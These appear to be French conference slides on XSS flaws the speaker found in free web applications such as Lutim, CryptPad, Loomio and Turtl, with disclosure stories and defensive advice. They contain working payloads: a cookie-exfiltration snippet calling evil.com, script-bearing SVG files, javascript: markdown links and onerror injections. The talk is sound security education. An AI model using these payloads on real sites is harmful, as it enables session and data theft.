XSS et Logiciel libre
martin - Framasoft
Capitole du Libre - Toulouse
18/11/17
Houston, on a un problème
Sommaire
I - Qu'est-ce qu'une faille XSS ?
II - Mon retour d'expérience
III - Que peut-on faire ?
Introduction
Martin
Coprésident de Framasoft
Data Scientist en Freelance
Cherche un doctorat en Sécurité du Machine Learning
Ex-Mozilla Fellow chez Derechos Digitales (Chili)
framartin@framasoft.org
@framart1
I - LES FAILLES XSS
DEFINITION
- Cross-Site Scripting (XSS)
- Injection de HTML/JavaScript dans une page web
- Impact : applications Web et sites Web
- Différents types
- Sans alert(), pas de XSS ;)
Pourquoi est-ce une vulnérabilité ?
- Vol de session (cookie)
- Vol de données
- Phishing
Ex : Faux formulaire de login - Élévation verticale/horizontale de privilèges
- Distribution de malwares
- Etc.
La limite est votre créativité :)
<iframe width='0' height='0' frameborder='0'
src='<script>document.location='
http://evil.com/collect_cookie.php?cookie=
'+escape(document.cookie);</script>' />
Quelques idées....
- Personnaliser le piège selon le navigateur, la langue, etc. pour sembler plus réel
Exemple de distribution de malwares :
https://www.hackread.com/fake-chrome-firefox-font-update-drops-rat-and-locky-ransomware/
Implications
- Souvent pas considérée comme une faille critique
Mais... - Failles faciles à exploiter
- (Certaines) faciles à trouver
- Implication en terme de Droits de
l'Homme si failles exploitées contre activistes - Peu baisser le coût de la surveillance offensive
Attention à ne pas minimiser l'impact
S'en protéger ?
- Échapper certains caractères (côté serveur ou client)
Exemple :
- HTML Sanitization
Liste noire d'éléments HTML
Ne PAS faire soit même ! Utilisez des bibliothèques.
Les navigateurs sont beaucoup trop tolérants.
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet - Entêtes Content-Security Policy
Attention ! C'est un mécanisme de prévention additionnel.
Ce ne doit pas être votre protection principale.
<i>coucou</i>
<i>coucou</i>
<script>alert(h4ck3d)</script>
<<SCRIPT>alert("XSS")<</SCRIPT>
<IMG src=x onerror="javascript:alert('XSS')"
En résumé...
II - Mon expérience
présentation
- Intérêt pour la sécurité
+ - Chômage
= - Première expérience de pentesting
- Vingtaine XSS en ~1 mois
- Pentester les applications que l'on
héberge à Framasoft (entre autres)
En résumé
A - LUTIM
Application web d'hébergement d'images
chiffrées côté serveur.
- Vol de données
- Le chiffrement n'est pas une solution magique
- Clés de chiffrement dans l'URL
- LocalStorage stocke URL des images uplodées
Comment ?
- Création d'un fichier SVG contenant du Javascript
- Upload sur Lutim
- Envoyer le lien à la cible
- Le JS est exécuté lors de l'affichage dans le navigateur
Il a accès au LocalStorage
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('This app is probably vulnerable to XSS attacks!');
</script>
</svg>
Autres formats qui peuvent contenir du JS
- (x)htm(l)
- xml
- svg(z)
- (pdf ?)
Fixer
- Désactiver upload de ces Mime-Type
- Forcer téléchargement (recommandé)
via 'Content-Disposition: attachment' - Filtrer les fichiers (mauvaise idée !)
Cf : Vuln de MediaWiki https://phabricator.wikimedia.org/T85850
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="data:application/xml;base64 ,
PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KPGRlZnM+CjxjaXJjbGUgaWQ9InRlc3QiIHI9IjUwIiBjeD0iMTAwIiBjeT0iMTAwIiBzdHlsZT0iZmlsbDogI0YwMCI+CjxzZXQgYXR0cmlidXRlTmFtZT0iZmlsbCIgYXR0cmlidXRlVHlwZT0iQ1NTIiBvbmJlZ2luPSdhbGVydChkb2N1bWVudC5jb29r
aWUpJwpvbmVuZD0nYWxlcnQoIm9uZW5kIiknIHRvPSIjMDBGIiBiZWdpbj0iMXMiIGR1cj0iNXMiIC
8+CjwvY2lyY2xlPgo8L2RlZnM+Cjx1c2UgeGxpbms6aHJlZj0iI3Rlc3QiLz4KPC9zdmc+#test"/>
</svg>
Logiciels impactés
- Lutim
- Loomio
- Turtl
- Framaforms
- Request Tracker
- Et d'autres...
B - Cryptpad
Éditeur collaboratif en temps réel, zero knowledge
- Vol de données
- Accès aux clés de chiffrement
- Puissance d'une attaque côté client
Différence entre sécurité et chiffrement/0-knowledge
(Mais CryptPad est clair sur ce point :
https://blog.cryptpad.fr/2017/03/24/What-is-Zero-Knowledge/ )
COMMENT ?
- Création d'un pad qui contient
- Partage avec la victime
- La victime exporte le pad, le JS s'exécute
- Réaction exemplaire !
https://blog.cryptpad.fr/2017/03/06/Security-growing-pains/
Réponse et fix très rapide, communication, publication billet blog, remerciements, transparence, etc.
<img src=x onerror=alert()>
C - Loomio
Application Web de prise de décision.
- Élévation horizontale de privilèges
- Voter pour un autre utilisateur
Comment ?
- Markdown non assaini
- Mauvaise gestion des fichiers uploadés
par les utilisateurs
Démonstrations en vidéo
markdown et XSS
Attention !
- Si disponible, utilisez option 'sanitize' de votre bibliotèque et vérifiez ce qu'elle fait
- Ou, utilisez une bibliothèque de filtrage HTML
https://github.com/showdownjs/showdown/wiki/Markdown%27s-XSS-Vulnerability-(and-how-to-mitigate-it)
[URL](javascript:alert(0))
[URL](JaVaScRiPt:alert(0))
[URL](javascript:alert(0))
[URL](javascript:alert(0\))
[URL](vbscript:alert)
[URL](javascript:alert(1))
[URL](Javascript:alert(0))
Logiciels impactés par XSS via markdown
- Loomio
- Turtl
- Framaslides
- Framemo & Scrumblr de Sandstorm
- Et d'autres...
D - TURTL
Application Web alternative à Evernote chiffrée
« sécurisée » qui peut stocker textes, images, fichiers, URL, mots de passe, etc.
3 XSS :
- Markdown non assaini
- Mauvaise gestion des fichiers uploadés
par les utilisateurs - Contenu non échappé
3ème Faille : Comment ?
- Créer un dossier partagé avec la victime
- Créer une note
- Avec le titre :
- Dès que la victime se connecte, le JS exécuté
Très peu d’interaction de l'utilisateur.
<img src=x onerror=alert(0)>
Très Mauvaise Réaction
Tout ce qu'il ne faut pas faire !
- Failles non-corrigées 8 mois après
(alors que l'on a envoyé un fix) - Failles publiques sur leur Trello avec tout le détail... ><'
- Leur logiciel est censé être sécurisé
- Et ce truc gère des mots de passe
Et le reste...
Et encore 10 XSS non corrigées et signalées depuis plus de 7 mois, malgré les relances...
:(
Les XSS ont des sources diverses.
Ne pas faire de filtrage à la main.
III - Que faire ?
Problème
- L'ouverture du code ne répond pas
miraculeusement aux impératifs de sécurité - Manque clair de pentesters, car certaines failles étaient évidentes
- Le problème est le même pour le logiciel libre et non libre : si personne ne cherche les vulnérabilités, elles ne seront pas fixées
Conseils pour dev/mainteneur
- Ne pas publier la faille avant fix
- Moyen de communiquer de manière non publique
- Indiqué sur /security
- Répondre assez rapidement (même pour dire « vu »)
- Communiquer sur vos failles (CVE par exemple)
- Mettre en place une démo
- Ne pas être un connard
Une faille n'est pas une attaque personnelle !
Conseils pour Utilisateurs
- Contribuez !
- Quelques connaissances en HTML
- Essayer d'entrer :
dans tous les champs de texte - Upload d'un fichier (x)htm(l), xml, svg(z)
- Upload d'un fichier qui s'appelle
- Entrer du markdown
Cf slide précédant -
Dans les champs de lien :
- Et cliquez partout !
- Ne pas être un connard
Vous n'êtes pas plus malin que les autres !
>'>"><img src=x onerror=alert(0)>
>'>"><img src=x onerror=alert(0)>.png
javascript:alert(0)
Conseils pour Hébergeurs
- 1 (sous-)domaine par application
- Mettre à jour
- Communiquer
- Surveiller les failles publiées (CVE)
Merci :)
XSS et LL
By framartin
XSS et LL
- 1,026